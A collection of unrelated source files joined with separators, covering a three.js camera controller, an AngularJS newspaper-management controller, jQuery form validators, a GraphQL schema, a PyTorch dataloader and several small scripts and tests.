this.animating = true;
this.renderLoop();
}
stopAnimation()
{
this.animating = false;
}
update(time)
{
this.updateCameraControls();
TWEEN.update(time);
super.update(time);
}
updateCameraControls()
{
if (this.cameraControlsEnabled)
{
if (!this.cameraControls)
{
this.initCameraControls();
}
if (!this.cameraControls.enabled)
{
this.cameraControls.enabled = true;
}
this.cameraControls.update();
}
else
{
if (this.cameraControls && this.cameraControls.enabled)
{
this.cameraControls.enabled = false;
}
}
}
renderLoop(time)
{
//this.trigger("framing");
this.update(time);
this.render(time);
if (this.animating)
{
window.requestAnimationFrame(this.renderLoop.bind(this));
}
}
showGrid(size = 100, step = 10)
{
if (!this.gridHelper)
{
this.gridHelper = new THREE.GridHelper(size, step);
}
this.gridHelper.size = size;
this.gridHelper.step = step;
this.add(this.gridHelper);
}
moveCamera(position, rotation, duration = 1000, up)
{
return new Promise(resolve => {
if (position)
{
new TWEEN.Tween(this.camera.position).to(position, duration).easing(TWEEN.Easing.Sinusoidal.Out).start();
}
if (rotation)
{
new TWEEN.Tween(this.camera.rotation).to(rotation, duration).easing(TWEEN.Easing.Sinusoidal.Out).start();
}
if (up)
{
new TWEEN.Tween(this.cameraControls.object.up).to(up, duration).easing(TWEEN.Easing.Sinusoidal.Out).start();
}
else
{
this.cameraControls.reset();
}
});
}
moveCameraTarget(position, duration = 1000)
{
return new Promise(resolve => {
if (position)
{
new TWEEN.Tween(this.cameraControls.target).to(position, duration).easing(TWEEN.Easing.Sinusoidal.Out).onComplete(() =>
{
resolve();
}).start();
}
else
{
resolve();
}
});
}
focusOnLine(vector1, vector2, overlookDegree = 0, duration = 1000, debug = false)
{
return new Promise(resolve => {
let material = null;
let geometry = null;
let line = null;
let mVector = vector1.clone();
mVector = mVector.lerp(vector2, 0.5);
let cVector = new THREE.Vector3();
cVector.subVectors(vector2, vector1);
let vLength = cVector.length();
let quaternion = new THREE.Quaternion();
let axis = new THREE.Vector3(0, 0, 1);
quaternion.setFromAxisAngle(axis, -Math.PI / 2);
cVector.applyQuaternion(quaternion);
let angle = (90 - this.camera.fov / 2) * Math.PI / 180;
let focusLength = vLength * 0.5 * Math.tan(angle);
cVector.normalize().multiplyScalar(focusLength);
let overlookAngle = overlookDegree * Math.PI / 180;
cVector.z = focusLength * Math.tan(overlookAngle);
cVector.add(mVector);
if (debug)
{
const arrowHelper = new THREE.ArrowHelper(cVector, mVector, 20, 0xff0000);
this.add(arrowHelper);
}
if (this.cameraControlsEnabled && this.cameraControls != null)
{
new TWEEN.Tween(this.cameraControls.target).to(mVector, duration).easing(TWEEN.Easing.Sinusoidal.Out).start();
new TWEEN.Tween(this.camera.position).to(cVector, duration).easing(TWEEN.Easing.Sinusoidal.Out).onUpdate(() =>
{
this.camera.lookAt(this.cameraControls.target);
}).start();
new TWEEN.Tween(this.cameraControls.object.up).to({
x : 0,
y : 0,
z : 1
}, duration).easing(TWEEN.Easing.Sinusoidal.Out).start();
setTimeout(() =>
{
resolve();
}, duration * 2);
}
});
}
focusOnTriangle(vector1, vector2, vector3, overlookDegree = 0, duration = 1000, debug = false)
{
return new Promise(() => {
let material = null;
let geometry = null;
let line = null;
let mVector = vector1.clone();
mVector = mVector.lerp(vector2, 0.5);
let cVector = new THREE.Vector3();
cVector.subVectors(vector2, vector1);
let vLength = cVector.length();
let quaternion = new THREE.Quaternion();
let axis = new THREE.Vector3(0, 0, 1);
quaternion.setFromAxisAngle(axis, -Math.PI / 2);
cVector.applyQuaternion(quaternion);
let angle = (90 - this.camera.fov / 2) * Math.PI / 180;
let overlookAngle = overlookDegree * Math.PI / 180;
let focusLength1 = vLength * 0.5 * Math.tan(angle);
let height = Math.abs(vector3.z) + 100;
let focusLength2 = height * (Math.sin(overlookAngle) + Math.cos(overlookAngle) * Math.tan(angle)) * Math.cos(overlookAngle);
let focusLength = focusLength1 > focusLength2 ? focusLength1 : focusLength2;
cVector.normalize().multiplyScalar(focusLength);
cVector.z = focusLength * Math.tan(overlookAngle);
cVector.add(mVector);
if (debug)
{
material = new THREE.LineBasicMaterial({
color : 0xffffff
});
geometry = new THREE.Geometry();
geometry.vertices.push(mVector);
geometry.vertices.push(cVector);
line = new THREE.Line(geometry, material);
this.add(line);
}
if (this.cameraControlsEnabled && this.cameraControls)
{
new TWEEN.Tween(this.cameraControls.target).to(mVector, duration).easing(TWEEN.Easing.Sinusoidal.Out).start();
new TWEEN.Tween(this.camera.position).to(cVector, duration).easing(TWEEN.Easing.Sinusoidal.Out).onUpdate(() =>
{
this.camera.lookAt(this.cameraControls.target);
}).start();
new TWEEN.Tween(this.cameraControls.object.up).to({
x : 0,
y : 0,
z : 1
}, duration).easing(TWEEN.Easing.Sinusoidal.Out).start();
setTimeout(() =>
{
resolve();
}, duration);
}
});
}
resetCamera(perspective = false, duration = 2000)
{
if (this.cameraControls)
{
let position = null;
let rotation = null;
if (!perspective)
{
let params = this.cameraParams;
position = {
x : 0,
y : 0,
z : 0
};
rotation = {
x : 0,
y : 0,
z : 0
};
if (Array.isArray(params.position))
{
position.x = params.position[0];
position.y = params.position[1];
position.z = params.position[2];
}
else
{
position = Object.assign(position, params.position);
}
}
else
{
position = {
x : -50.9760365348891,
y : -1750.5946134789813,
z : 2470.697634926914
};
rotation = {
x : 0.6164362891923738,
y : -0.01683316387367657,
z : 0.01192588582967832
};
}
return this.moveCamera(position, rotation, duration);
}
return Promise.reject();
}
}
|
#ifndef AGREGAREMPLEADOWINDOW_H
#define AGREGAREMPLEADOWINDOW_H
#include <QDialog>
#include "adminmainwindow.h"
namespace Ui {
class AgregarEmpleadoWindow;
}
class AgregarEmpleadoWindow : public QDialog
{
Q_OBJECT
public:
explicit AgregarEmpleadoWindow(QWidget *parent = 0);
~AgregarEmpleadoWindow();
private slots:
void on_btnCancelar_clicked();
void on_btnGuardar_clicked();
private:
Ui::AgregarEmpleadoWindow *ui;
public:
AdminMainWindow* mainWindow;
};
#endif // AGREGAREMPLEADOWINDOW_H
|
"use strict";
angular.module('newspaperOrderModule', [
'productManageMentOrderRankModule',
'productManageMentOrderDeleteModule'
]).
controller('newspaperOrderCtrl', newspaperOrderCtrl);
newspaperOrderCtrl.$injector = ["$scope", "$filter", "$timeout", "$modal", "$stateParams", "trsHttpService", "SweetAlert", "trsconfirm", "myManuscriptService", 'initSingleSelecet', 'editingCenterService', 'trsResponseHandle', 'trsspliceString', "initVersionService", "productMangageMentNewspaperService", "getNewsNameService"];
function newspaperOrderCtrl($scope, $filter, $timeout, $modal, $stateParams, trsHttpService, SweetAlert, trsconfirm, myManuscriptService, initSingleSelecet, editingCenterService, trsResponseHandle, trsspliceString, initVersionService, productMangageMentNewspaperService, getNewsNameService) {
initStatus();
initData();
/**
* [getSiteRights description]获取每个站点的操作权限
* @return null [description]
*/
function getSiteRights() {
productMangageMentNewspaperService.getRight($stateParams.paper, "", "papersetpaper.dieci").then(function(data) {
$scope.status.right = data;
});
}
//根据类型筛选叠次
$scope.queryByDieCiType = function() {
initStatus();
$scope.params.Status = angular.copy($scope.newspaperManageStateSelected).value;
requestData();
};
//搜索叠次
$scope.searchDieCi = function() {
initStatus();
$scope.params.CHNLNAME = $scope.keywords;
requestData();
};
//初始化状态
function initStatus() {
$scope.params = {
"serviceid": "mlf_paperset",
"methodname": "queryDieCis",
"PaperId": $stateParams.paper
};
$scope.status = {
right: {},
batchOperateBtn: {
"hoverStatus": "",
"clickStatus": ""
},
};
$scope.selectedArray = [];
getNewsNameService.getNewsName($stateParams.paper).then(function(data) {
$scope.channelName = data.SITEDESC;
});
getSiteRights();
}
//初始化数据
function initData() {
requestData();
getDropDown();
}
function requestData(callback) {
trsHttpService.httpServer(trsHttpService.getWCMRootUrl(), $scope.params, 'post').then(function(data) {
if (angular.isFunction(callback)) {
callback(data);
} else {
$scope.items = data;
$scope.page = data.PAGER;
angular.isDefined($scope.page) ? $scope.page.PAGESIZE =
$scope.page.PAGESIZE.toString() : $scope.page = {
"PAGESIZE": 0,
"ITEMCOUNT": 0
};
}
$scope.selectedArray = [];
});
}
//全选
$scope.selectAll = function() {
$scope.selectedArray = $scope.selectedArray.length == $scope.items.length ? [] : [].concat($scope.items);
};
//单选
$scope.selectDoc = function(item) {
//item.selected ? $scope.selectedArray.push(item) : $scope.selectedArray.splice($scope.selectedArray.indexOf(item), 1);
if ($scope.selectedArray.indexOf(item) < 0) {
$scope.selectedArray.push(item);
} else {
$scope.selectedArray.splice($scope.selectedArray.indexOf(item), 1);
}
};
function getDropDown() {
//全部
$scope.newspaperManageState = initSingleSelecet.newspaperManageState();
$scope.newspaperManageStateSelected = angular.copy($scope.newspaperManageState[0]);
//状态
$scope.iWoDocStatus = initSingleSelecet.iWoReceiveDocStatus();
$scope.iWoDocStatuSelected = angular.copy($scope.iWoDocStatus[0]);
//下拉框单选结束
}
function share() {
$scope.shareSelectedArray = angular.copy($scope.selectedArray);
editingCenterService.share($scope, "mlf_myrelease", "receivedMyShare", function() {
$scope.selectedArray = [];
requestData();
});
}
//编辑叠次信息
$scope.modifyOrderInformation = function(item) {
if ($scope.status.right.dieci.bianji) {
$modal.open({
templateUrl: "./manageConfig/productManageMent/newspaper/alertViews/modifyOrderInformation/modifyOrderInformation_tpl.html",
scope: $scope,
windowClass: 'man_produ_NewOrder',
backdrop: false,
controller: "productManageMentModifyOrderInfoCtrl",
resolve: {
modifyOrderItem: function() {
return item;
}
}
}).result.then(function() {
requestData();
});
} else {
trsconfirm.alertType("您没有权限编辑该叠次","您没有权限编辑该叠次","error",false);
}
};
//新建叠次
$scope.newOrder = function() {
$modal.open({
templateUrl: "./manageConfig/productManageMent/newspaper/alertViews/newOrder/newOrder_tpl.html",
scope: $scope,
windowClass: 'man_produ_NewOrder',
backdrop: false,
controller: "productManageMentNewOrderCtrl",
resolve: {
callback: function() {
return function(content) {
newOrderFun(0, content, $scope.params.PaperId);
};
}
}
});
};
//新建叠次方法
function newOrderFun(ObjectId, ChnlName, SiteId) {
$scope.params = {
"serviceid": "mlf_paperset",
"methodname": "saveDieCi",
"ObjectId": ObjectId,
"ChnlName": ChnlName,
"SiteId": SiteId,
"PaperId": $stateParams.paper
};
requestData(function() {
$scope.params = {
"serviceid": "mlf_paperset",
"methodname": "queryDieCis",
"PaperId": $stateParams.paper
};
requestData();
});
};
//叠次排序
$scope.orderRank = function() {
$modal.open({
templateUrl: "./manageConfig/productManageMent/newspaper/alertViews/orderRank/orderRank_tpl.html",
scope: $scope,
windowClass: 'zp-layout-rank-window',
backdrop: false,
controller: "productManageMentOrderRankCtrl",
resolve: {
rankItems: function() {
return $scope.items;
},
callback: function() {
return function(Rankingitems) {
freshOrderRanking(Rankingitems);
}
}
}
});
};
//提交叠次排序数据并刷新叠次页面
function freshOrderRanking(Rankingitems) {
$scope.params = {
'serviceid': "mlf_paperset",
'methodname': "reorderDieCiOrBanMians",
"ObjectIds": Rankingitems,
"flag":1
};
trsHttpService.httpServer(trsHttpService.getWCMRootUrl(), $scope.params, "post").then(function(data) {
$scope.params = {
"serviceid": "mlf_paperset",
"methodname": "queryDieCis",
"PaperId": $stateParams.paper
};
requestData();
});
}
//批量删除
$scope.orderDelete = function() {
$modal.open({
templateUrl: "./manageConfig/productManageMent/newspaper/alertViews/orderDelete/orderDelete_tpl.html",
scope: $scope,
windowClass: 'zp-layout-rank-window',
backdrop: false,
controller: "productManageMentOrderDeleteCtrl",
resolve: {
deleteItems: function() {
return $scope.selectedArray;
},
callback: function() {
return function(arrayDeleteitems) {
freshPager(arrayDeleteitems);
}
}
}
});
};
//提交数据并刷新叠次页面
function freshPager(arrayDeleteitems) {
$scope.params = {
'serviceid': "mlf_paperset",
'methodname': "deleteDieCiOrBanMians",
"ObjectIds": arrayDeleteitems
};
trsHttpService.httpServer(trsHttpService.getWCMRootUrl(), $scope.params, "post").then(function(data) {
$scope.params = {
"serviceid": "mlf_paperset",
"methodname": "queryDieCis",
"PaperId": $stateParams.paper
};
requestData();
});
}
//启用弹窗
$scope.enableViews = function(CHANNELID, CHNLDESC) {
trsconfirm.confirmModel('提示信息', '您确认启用:' + CHNLDESC, function() {
enableItem(CHANNELID);
});
};
//启用方法
function enableItem(CHANNELID) {
$scope.params = {
"serviceid": "mlf_paperset",
"methodname": "startDieCiOrBanMian",
"ObjectId": CHANNELID,
"PaperId": $stateParams.paper
};
requestData(function() {
$scope.params.serviceid = "mlf_paperset";
$scope.params.methodname = "queryDieCis";
requestData();
});
};
//停用弹窗
$scope.disableViews = function(CHANNELID, CHNLDESC) {
trsconfirm.confirmModel('提示信息', '您确认停用:' + CHNLDESC, function() {
disableItem(CHANNELID);
});
};
//停用方法
function disableItem(CHANNELID) {
$scope.params = {
"serviceid": "mlf_paperset",
"methodname": "stopDeiCiOrBanMian",
"ObjectId": CHANNELID,
"PaperId": $stateParams.paper
};
requestData(function() {
$scope.params.serviceid = "mlf_paperset";
$scope.params.methodname = "queryDieCis";
requestData();
});
};
//删除弹窗
$scope.deleteViews = function(SITEID, CHNLDESC) {
// console.log(SITEID);
trsconfirm.confirmModel('提示信息', '您确认要彻底删除此叠次:' + CHNLDESC, function() {
deleteItem(SITEID);
});
};
//删除方法
function deleteItem(CHANNELID) {
$scope.params = {
"serviceid": "mlf_paperset",
"methodname": "deleteDieCiOrBanMians",
"ObjectIds": CHANNELID,
"PaperId": $stateParams.paper
};
requestData(function() {
$scope.params.serviceid = "mlf_paperset";
$scope.params.methodname = "queryDieCis";
requestData();
});
}
}
|
from rest_framework.routers import DefaultRouter
class CustomDefaultRouter(DefaultRouter):
"""
this router is going to accept queries that possess as well as queries
that don't possess a trailing slash between the url and the query param
"""
def __init__(self, *args, **kwargs):
super().__init__(*args, **kwargs)
self.trailing_slash = '/?'
|
# Copyright (c) Microsoft Corporation.
# Licensed under the MIT License.
import torch.utils.data
import random
from data.base_data_loader import BaseDataLoader
from data import online_dataset_for_old_photos as dts_ray_bigfile
def CreateDataset(opt):
print("\n>>CreateDatasset")
dataset = None
if opt.training_dataset=='domain_A' or opt.training_dataset=='domain_B':
dataset = dts_ray_bigfile.UnPairOldPhotos_SR()
if opt.training_dataset=='mapping':
if opt.random_hole:
dataset = dts_ray_bigfile.PairOldPhotos_with_hole()
else:
dataset = dts_ray_bigfile.PairOldPhotos()
print("dataset [%s] was created" % (dataset.name()))
dataset.initialize(opt)
return dataset
class CustomDatasetDataLoader(BaseDataLoader):
def name(self):
return 'CustomDatasetDataLoader'
def initialize(self, opt):
BaseDataLoader.initialize(self, opt)
self.dataset = CreateDataset(opt)
self.dataloader = torch.utils.data.DataLoader(
self.dataset,
batch_size=opt.batchSize,
shuffle=not opt.serial_batches,
num_workers=int(opt.nThreads),
drop_last=True)
def load_data(self):
return self.dataloader
def __len__(self):
return min(len(self.dataset), self.opt.max_dataset_size)
|
import fs from "fs";
import path from "path";
import { fileURLToPath } from "url";
import { Tokenizer, Token, Source, SourceKind } from "../dist/assemblyscript.js";
const dirname = path.dirname(fileURLToPath(import.meta.url));
const file = process.argv.length > 2 ? process.argv[2] : path.join(dirname, "..", "src", "tokenizer.ts");
const text = fs.readFileSync(file).toString();
const source = new Source(SourceKind.ENTRY, "compiler.ts", text);
const tn = new Tokenizer(source);
do {
const token = tn.next();
const range = tn.range();
process.stdout.write(Token[token] + " @ " + source.lineAt(range.start) + ":" + source.columnAt());
if (token == Token.IDENTIFIER) {
process.stdout.write(" > " + tn.readIdentifier());
} else if (token == Token.INTEGERLITERAL) {
process.stdout.write(" > " + tn.readInteger());
} else if (token == Token.FLOATLITERAL) {
process.stdout.write(" > " + tn.readFloat());
} else if (token == Token.STRINGLITERAL) {
process.stdout.write(" > " + tn.readString());
} else if (token == Token.ENDOFFILE) {
process.stdout.write("\n");
break;
} else {
process.stdout.write(" > " + range.source.text.substring(range.start, range.end));
}
process.stdout.write("\n");
} while (true);
|
/* globals describe, it */
const path = require('path')
const fse = require('fs-extra')
const assert = require('assert')
const { EOL } = require('os')
const { default: TextBuffer } = require('../../dist/TextBuffer')
const { default: EditorFs } = require('../../dist/EditorFs')
const TMP = path.join(__dirname, '.temp')
const chars = [
['T', 'e', 's', 't', '1'],
['T', 'e', 's', 't', '2'],
['T', 'e', 's', 't', '3', ' ', ' ', 'T', 'e', 's', 't', '4'],
[],
[],
['T', 'e', 's', 't', '5'],
[],
[],
[]
]
fse.removeSync(TMP)
fse.mkdirpSync(TMP)
describe('EditorFs', () => {
describe('saveToFile', () => {
it('save.1.txt', async () => {
const filepath = path.join(TMP, 'save.1.txt')
const buffer = new TextBuffer(chars)
await EditorFs.saveToFile(filepath, buffer)
const file = fse
.readFileSync(filepath)
.toString()
const expected = [
'Test1',
'Test2',
'Test3 Test4',
'',
'',
'Test5',
'',
'',
''
].join(EOL)
assert.equal(file, expected)
})
})
describe('readFromFile', () => {
it('test.1.txt', async () => {
const filepath = path.join(__dirname, 'test.1.txt')
const buffer = await EditorFs.readFromFile(filepath)
assert.deepEqual(buffer.toArray(), chars)
})
})
describe('readFromFileSync', () => {
it('test.1.txt', () => {
const filepath = path.join(__dirname, 'test.1.txt')
const buffer = EditorFs.readFromFileSync(filepath)
assert.deepEqual(buffer.toArray(), chars)
})
})
})
|
import { Link, graphql, useStaticQuery } from "gatsby"
import React from "react"
export default function Navbar() {
// useStaticQuery can only be used one
const data = useStaticQuery(graphql`
query SiteInfo {
site {
siteMetadata {
title
}
}
}
`)
const { title } = data.site.siteMetadata
return (
<nav>
<h1>{title}</h1>
<div className="links">
<Link to="/">Home</Link>
<Link to="/about">About</Link>
<Link to="/projects">Portfolio Projects</Link>
</div>
</nav>
)
}
|
"use strict";
Object.defineProperty(exports, "__esModule", { value: true });
var tslib_1 = require("tslib");
tslib_1.__exportStar(require("./components/ProgressIndicator/index"), exports);
//# sourceMappingURL=ProgressIndicator.js.map
|
import {
GraphQLObjectType,
GraphQLString,
GraphQLInt,
GraphQLList,
GraphQLBoolean
} from 'graphql'
import Post from './Post'
import User from './User'
import { q } from '../shared'
import Authored from './Authored/Interface'
const { STRATEGY, DB } = process.env
export default new GraphQLObjectType({
description: 'Comments on posts',
name: 'Comment',
sqlTable: q('comments', DB),
uniqueKey: 'id',
interfaces: () => [Authored],
fields: () => ({
id: {
type: GraphQLInt
},
body: {
description: 'The content of the comment',
type: GraphQLString
},
postId: {
type: GraphQLInt,
sqlColumn: 'post_id'
},
post: {
description: 'The post that the comment belongs to',
type: Post,
...(STRATEGY === 'batch'
? {
sqlBatch: {
thisKey: 'id',
parentKey: 'post_id'
}
}
: {
sqlJoin: (commentTable, postTable) =>
`${commentTable}.${q('post_id', DB)} = ${postTable}.${q(
'id',
DB
)}`
})
},
authorId: {
type: GraphQLInt,
sqlColumn: 'author_id'
},
author: {
description: 'The user who wrote the comment',
type: User,
...(STRATEGY === 'batch'
? {
sqlBatch: {
thisKey: 'id',
parentKey: 'author_id'
}
}
: {
sqlJoin: (commentTable, userTable) =>
`${commentTable}.${q('author_id', DB)} = ${userTable}.${q(
'id',
DB
)}`
})
},
likers: {
description: 'Which users have liked this comment',
type: new GraphQLList(User),
junction: {
sqlTable: q('likes', DB),
sqlJoins: [
(commentTable, likesTable) =>
`${commentTable}.${q('id', DB)} = ${likesTable}.${q(
'comment_id',
DB
)}`,
(likesTable, userTable) =>
`${likesTable}.${q('account_id', DB)} = ${userTable}.${q('id', DB)}`
]
}
},
archived: {
type: GraphQLBoolean
},
createdAt: {
description: 'When this was created',
type: GraphQLString,
sqlColumn: 'created_at'
}
})
})
|
"use strict";
exports.ExpTypes = {
Binary: function (ast) {
return ast.constructor.name === 'Binary';
},
Quote: function (ast) {
return ast.constructor.name === 'Quote';
},
EmptyExpr: function (ast) {
return ast.constructor.name === 'EmptyExpr';
},
ImplicitReceiver: function (ast) {
return ast.constructor.name === 'ImplicitReceiver';
},
Chain: function (ast) {
return ast.constructor.name === 'Chain';
},
Conditional: function (ast) {
return ast.constructor.name === 'Conditional';
},
PropertyRead: function (ast) {
return ast.constructor.name === 'PropertyRead';
},
PropertyWrite: function (ast) {
return ast.constructor.name === 'PropertyWrite';
},
SafePropertyRead: function (ast) {
return ast.constructor.name === 'SafePropertyRead';
},
KeyedRead: function (ast) {
return ast.constructor.name === 'KeyedRead';
},
KeyedWrite: function (ast) {
return ast.constructor.name === 'KeyedWrite';
},
BindingPipe: function (ast) {
return ast.constructor.name === 'BindingPipe';
},
LiteralPrimitive: function (ast) {
return ast.constructor.name === 'LiteralPrimitive';
},
LiteralArray: function (ast) {
return ast.constructor.name === 'LiteralArray';
},
LiteralMap: function (ast) {
return ast.constructor.name === 'LiteralMap';
},
Interpolation: function (ast) {
return ast.constructor.name === 'Interpolation';
},
PrefixNot: function (ast) {
return ast.constructor.name === 'PrefixNot';
},
MethodCall: function (ast) {
return ast.constructor.name === 'MethodCall';
},
SafeMethodCall: function (ast) {
return ast.constructor.name === 'SafeMethodCall';
},
FunctionCall: function (ast) {
return ast.constructor.name === 'FunctionCall';
},
ASTWithSource: function (ast) {
return ast.constructor.name === 'ASTWithSource';
}
};
|
// Push the ball to knock over all the blue skeletons without hitting any red ones.
// The blue skeletons can be found as enemies.
var center = Vector(40, 35);
var punch_array = [];
var enemies = hero.findEnemies();
var friend = hero.findFriends()[0];
var ball = hero.findNearest(hero.findByType('ball'));
var ballPos = Vector(ball.pos.x, ball.pos.y);
for (var i = 0; i < enemies.length; i++) {
var enemy = enemies[i];
var s2b = Vector.multiply(Vector.normalize(Vector.subtract(ballPos, enemy.pos)), 7);
var b2p = ball.pos.add(s2b);
punch_array.push(b2p);
}
var distance = 100;
while (punch_array.length > 0) {
var min_dist = 200;
var min_index = -1;
for (var i = 0; i < punch_array.length; i++) {
var punch = punch_array[i];
if (min_dist > Vector.subtract(punch, friend.pos).magnitude()) {
min_dist = Vector.subtract(punch, friend.pos).magnitude();
min_index = i;
}
}
var vector = punch_array.splice(min_index, 1)[0];
hero.command(friend, 'move', vector);
hero.wait(1);
hero.command(friend, 'move', center);
hero.wait(1);
hero.command(friend, 'move', vector);
}
|
class CopyTask extends BalmTask {
constructor(input = '', output = '', renameOptions = {}) {
super('copy');
this.input = input;
this.output = output;
this.renameOptions = renameOptions;
}
get fn() {
return () => {
return src(BalmFile.absPaths(this.input))
.pipe($.rename(this.renameOptions))
.pipe(dest(BalmFile.absPaths(this.output)));
};
}
}
export default CopyTask;
|
$.ajaxSetup({
cache : false
});
$(function() {
// 身份证验证
jQuery.validator.addMethod("isIdCardNo", function(value, element) {
value = $.trim(value);
return this.optional(element) || checkCard(value);
}, "请正确输入您的身份证号码");
// 电话号码验证
jQuery.validator.addMethod("isPhone", function(value, element) {
value = $.trim(value);
var tel = /^0\d{2,3}[-]?\d{8}$|^0\d{3}[-]?\d{7}$/;
return this.optional(element) || (tel.test(value));
}, "请正确填写您的电话号码");
// 昵称验证
jQuery.validator.addMethod("nickName", function(value, element) {
value = $.trim(value);
return this.optional(element) || /^[\u4e00-\u9fa5\w]+$/.test(value);
}, "昵称只能由中文,英文字母、数字和下划线组成");
// 手机验证
jQuery.validator.addMethod("isMobile", function(value, element) {
value = $.trim(value);
var length = value.length;
var mobile = /^(((13[0-9]{1})|(14[0-9]{1})|(15[0-9]{1})|(18[0-9]{1}))+\d{8})$/;
return this.optional(element) || (length == 11 && mobile.test(value));
}, "请正确填写您的手机号码");
// 邮政编码验证
jQuery.validator.addMethod("isZipCode", function(value, element) {
value = $.trim(value);
var tel = /^[0-9]{6}$/;
return this.optional(element) || (tel.test(value));
}, "请正确填写您的邮政编码");
jQuery.validator.addMethod("amount", function(value, element) {
value = $.trim(value);
return this.optional(element)
|| (value > 1 && value <= 300000 && /^(([1-9]{1}\d*)|([0]{1}))(\.(\d){1,2})?$/
.test(value));
}, "充值金额应大于1元且小于30万元,可带小数点后1位");
jQuery.validator.addMethod("withdraw", function(value, element) {
value = $.trim(value);
return this.optional(element)
|| (/^(([1-9]{1}\d*)|([0]{1}))(\.(\d){1,2})?$/.test(value));
}, "请输入正确金额");
jQuery.validator.addMethod("bankCard", function(value, element) {
value = $.trim(value);
return this.optional(element) || /^(\d{19})|(\d{16})$/.test(value);
}, "请输入正确的银行卡号");
jQuery.validator.addMethod("reBankCard", function(value, element) {
value = $.trim(value);
return this.optional(element) || /^(\d{19})|(\d{16})$/.test(value);
}, "请再次输入确认您的银行卡号");
jQuery.validator.addMethod("blankCity", function(value, element) {
return this.optional(element) || value != '请选择';
}, "请选择省市");
jQuery.validator.addMethod("nickNameLength", function(value, element) {
value = $.trim(value);
return this.optional(element)
|| (bytes(value) >= 4 && bytes(value) <= 12);
}, "昵称长度在4-12个字节之间");
jQuery.validator.addMethod("isFloat", function(value, element) {
value = $.trim(value);
return this.optional(element)
|| (/^(([1-9]{1}\d{0,9})|([0]{1}))(\.(\d){1})?$/.test(value));
}, "请输入正确的金额");
// 是否是手机或者电话
jQuery.validator.addMethod("isPhoneOrMobile", function(value, element) {
value = $.trim(value);
var tel = /^0\d{2,3}[-]?\d{8}$|^0\d{3}[-]?\d{7}$/;
var mobile = /^(((13[0-9]{1})|(14[0-9]{1})|(15[0-9]{1})|(18[0-9]{1}))+\d{8})$/;
return this.optional(element) || tel.test(value) || mobile.test(value);
}, "请正确填写您的工作电话");
jQuery.validator.addMethod("isEmail", function(value, element) {
var myreg = /(\S)+[@]{1}(\S)+[.]{1}(\w)+/;
return this.optional(element) || myreg.test($.trim(value));
}, "请输入正确的邮箱地址");
$("#checkInForm").validate({
submitHandler : function() {
$("#checkInForm").ajaxSubmit({
success : userFormSuccess
});
},
rules : {
amount : {
required : true,
amount : true
}
},
messages : {
amount : {
required : "请输入充值金额"
}
}
});
$("#verifyPhoneForm").validate({
submitHandler : function() {
$("#verifyPhoneForm").ajaxSubmit({
success : userFormSuccess
});
},
rules : {
phone : {
required : true,
isMobile : true,
minlength : 11,
maxlength : 11
},
validateCode : {
required : true
}
},
messages : {
phone : {
required : "请输入手机号码",
minlength : "手机号码长度必须为11位",
maxlength : "手机号码长度必须为11位",
isMobile : "手机号码长度必须为11位"
},
validateCode : {
required : "请输入手机验证码"
}
}
});
$("#settingForm").validate({
submitHandler : function() {
$("#settingForm").ajaxSubmit({
success : userFormSuccess
});
}
});
$("#userAutoBidConditionForm").validate({
submitHandler : function() {
$("#userAutoBidConditionForm").ajaxSubmit({
success : userFormSuccess
});
},
rules : {
fixedAmount : {
required : true,
isFloat : true
},
loanLowestInterest:{
required : true,
isFloat : true
},
loanHighestInterest:{
required : true,
isFloat : true
},
retainAmount:{
required : true,
isFloat : true
}
},
messages : {
fixedAmount : {
required : "请输入正确的自动投标金额",
isFloat:"请输入正确的自动投标金额"
},
loanLowestInterest:{
required : "请输入正确的最低利息",
isFloat : "请输入正确的最低利息"
},
loanHighestInterest:{
required : "请输入正确的最高利息",
isFloat : "请输入正确的最高利息"
},
retainAmount:{
required : "请输入正确的账户保留金额",
isFloat:"请输入正确的账户保留金额"
}
}
});
});
function bytes(str) {
if (typeof (str) != "string") {
str = str.value;
}
var len = 0;
for ( var i = 0; i < str.length; i++) {
if (str.charCodeAt(i) > 127) {
len++;
}
len++;
}
return len;
}
|
/*!
* @@name
* @@author
* Version @@version - built @@timestamp
* @@license Licensed
*
*/
( function ( ) {
var exports = {};
/**
* Validator
*/
var Validator = function ( options ) {
this.__class__ = 'Validator';
this.__version__ = '@@version';
this.options = options || {};
this.bindingKey = this.options.bindingKey || '_validatorjsConstraint';
};
Validator.prototype = {
constructor: Validator,
/*
* Validate string: validate( string, Assert, string ) || validate( string, [ Assert, Assert ], [ string, string ] )
* Validate object: validate( object, Constraint, string ) || validate( object, Constraint, [ string, string ] )
* Validate binded object: validate( object, string ) || validate( object, [ string, string ] )
*/
validate: function ( objectOrString, AssertsOrConstraintOrGroup, group ) {
if ( 'string' !== typeof objectOrString && 'object' !== typeof objectOrString )
throw new Error( 'You must validate an object or a string' );
// string / array validation
if ( 'string' === typeof objectOrString || _isArray(objectOrString) )
return this._validateString( objectOrString, AssertsOrConstraintOrGroup, group );
// binded object validation
if ( this.isBinded( objectOrString ) )
return this._validateBindedObject( objectOrString, AssertsOrConstraintOrGroup );
// regular object validation
return this._validateObject( objectOrString, AssertsOrConstraintOrGroup, group );
},
bind: function ( object, constraint ) {
if ( 'object' !== typeof object )
throw new Error( 'Must bind a Constraint to an object' );
object[ this.bindingKey ] = new Constraint( constraint );
return this;
},
unbind: function ( object ) {
if ( 'undefined' === typeof object._validatorjsConstraint )
return this;
delete object[ this.bindingKey ];
return this;
},
isBinded: function ( object ) {
return 'undefined' !== typeof object[ this.bindingKey ];
},
getBinded: function ( object ) {
return this.isBinded( object ) ? object[ this.bindingKey ] : null;
},
_validateString: function ( string, assert, group ) {
var result, failures = [];
if ( !_isArray( assert ) )
assert = [ assert ];
for ( var i = 0; i < assert.length; i++ ) {
if ( ! ( assert[ i ] instanceof Assert) )
throw new Error( 'You must give an Assert or an Asserts array to validate a string' );
result = assert[ i ].check( string, group );
if ( true !== result )
failures.push( result );
}
return failures.length ? failures : true;
},
_validateObject: function ( object, constraint, group ) {
if ( 'object' !== typeof constraint )
throw new Error( 'You must give a constraint to validate an object' );
if ( constraint instanceof Assert )
return constraint.check( object, group );
if ( constraint instanceof Constraint )
return constraint.check( object, group );
return new Constraint( constraint ).check( object, group );
},
_validateBindedObject: function ( object, group ) {
return object[ this.bindingKey ].check( object, group );
}
};
Validator.errorCode = {
must_be_a_string: 'must_be_a_string',
must_be_an_array: 'must_be_an_array',
must_be_a_number: 'must_be_a_number',
must_be_a_string_or_array: 'must_be_a_string_or_array'
};
/**
* Constraint
*/
var Constraint = function ( data, options ) {
this.__class__ = 'Constraint';
this.options = options || {};
this.nodes = {};
if ( data ) {
try {
this._bootstrap( data );
} catch ( err ) {
